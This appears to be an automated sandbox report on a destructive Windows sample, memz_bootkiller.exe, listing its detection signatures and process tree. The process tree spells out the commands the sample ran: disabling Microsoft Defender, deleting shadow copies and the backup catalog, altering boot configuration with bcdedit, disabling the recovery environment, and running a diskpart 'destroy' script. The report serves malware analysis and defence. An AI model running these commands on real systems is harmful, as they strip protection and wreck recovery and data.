Analysis

  • max time kernel
    90s
  • max time network
    81s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    26/09/2026, 18:40

Errors

Reason
Machine shutdown

General

  • Target
    memz_bootkiller.exe
  • Size 755KB
  • Sample260926-xbebys1tbx
  • SHA256 5c4e77fce970bbc2e30c151ea3c6f4e771413941cce0eb40ce649d06aaa2b371
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Disables one or more Microsoft Defender components 1 TTPs 6 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Enumerates connected drives 3 TTPs 8 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 29 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
    "C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe"
    1⤵
    • Disables RegEdit via registry modification
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3388
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4384
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net stop WinDefend
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\system32\net.exe
        net stop WinDefend
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop WinDefend
          4⤵
            PID:1292
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop wscsvc
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\system32\net.exe
          net stop wscsvc
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop wscsvc
            4⤵
              PID:3392
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop Sense
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3988
          • C:\Windows\system32\net.exe
            net stop Sense
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop Sense
              4⤵
                PID:536
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net stop MsMpSvc
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2772
            • C:\Windows\system32\net.exe
              net stop MsMpSvc
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1512
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop MsMpSvc
                4⤵
                  PID:1540
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1648
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:1484
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3332
              • C:\Windows\system32\wbadmin.exe
                wbadmin delete catalog -quiet
                3⤵
                • Deletes backup catalog
                PID:3616
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2336
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled no
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:2416
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wmic pagefileset delete
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2100
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic pagefileset delete
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious use of AdjustPrivilegeToken
                PID:664
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
              2⤵
              • Executes a command shell one-liner
              PID:292
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:1504
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
              2⤵
              • Executes a command shell one-liner
              PID:5064
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled no
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:1756
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /deletevalue {default} bootmenupolicy
              2⤵
              • Executes a command shell one-liner
              PID:4628
              • C:\Windows\system32\bcdedit.exe
                bcdedit /deletevalue {default} bootmenupolicy
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:3296
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} hypervisorlaunchtype off
              2⤵
              • Executes a command shell one-liner
              PID:4484
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} hypervisorlaunchtype off
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:652
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard
              2⤵
              • Executes a command shell one-liner
              PID:3764
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootmenupolicy standard
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:4532
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} allowextendedmemory 0
              2⤵
              • Executes a command shell one-liner
              PID:3304
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} allowextendedmemory 0
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:4664
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} truncatememory 0x10000000
              2⤵
              • Executes a command shell one-liner
              PID:5072
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} truncatememory 0x10000000
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:704
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} numproc 1
              2⤵
              • Executes a command shell one-liner
              PID:2524
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} numproc 1
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:3948
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} maxmem 512
              2⤵
              • Executes a command shell one-liner
              PID:3320
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} maxmem 512
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:444
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c reagentc /disable
              2⤵
              • Executes a command shell one-liner
              PID:3060
              • C:\Windows\system32\ReAgentc.exe
                reagentc /disable
                3⤵
                  PID:4612
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c diskpart /s X:\destroy.txt
                2⤵
                • Executes a command shell one-liner
                PID:2004
                • C:\Windows\system32\diskpart.exe
                  diskpart /s X:\destroy.txt
                  3⤵
                    PID:4856
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4976
              • C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
                C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4016
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1172
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Enumerates connected drives
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4992
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4344
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Enumerates connected drives
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4512
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1712
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    • Enumerates connected drives
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1456
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1748
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4972
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
                  2⤵
                  • Executes a command shell one-liner
                  PID:3356
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    PID:1028
              • C:\Windows\system32\wbengine.exe
                "C:\Windows\system32\wbengine.exe"
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2824
              • C:\Windows\System32\vdsldr.exe
                C:\Windows\System32\vdsldr.exe -Embedding
                1⤵
                  PID:2584
                • C:\Windows\System32\vds.exe
                  C:\Windows\System32\vds.exe
                  1⤵
                  • Checks SCSI registry key(s)
                  PID:984
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:4572
                  • C:\Windows\system32\LogonUI.exe
                    "LogonUI.exe" /flags:0x4 /state0:0xa39cd055 /state1:0x41c64e6d
                    1⤵
                      PID:2508

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          powershell.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 2KB
                          • SHA256 e6b6223094e8fc598ad12b3849e49f03a141ccd21e0eaa336f81791ad8443eca
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 7aad903820a111129ca02193788effb49f9b297795f26e311b92db10435a3b3f
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 3f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 ca69ebbd2c9c185f0647fb2122d7a26e7d23af06a1950fb25ac327d869687b47
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 3952d5b543e5cb0cb84014f4ad9f5f1b7166f592d28640cbc3d914d0e6f41d2e
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 81fa386fa9b3d185839bec826c3f8cc422e1f329792b901d61be826d42a57fc1
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_vk45gyf2.3gq.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vk45gyf2.3gq.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          memory/2616-13-0x0000018BA2C30000-0x0000018BA2C40000-memory.dmp

                          memory/2616-14-0x0000018BA2C30000-0x0000018BA2C40000-memory.dmp

                          memory/4204-9-0x00000120FCCC0000-0x00000120FCCD0000-memory.dmp

                          memory/4204-8-0x00000120FCC90000-0x00000120FCCB2000-memory.dmp

                          memory/4204-1-0x00000120FCCC0000-0x00000120FCCD0000-memory.dmp

                          memory/4204-0-0x00000120FCCC0000-0x00000120FCCD0000-memory.dmp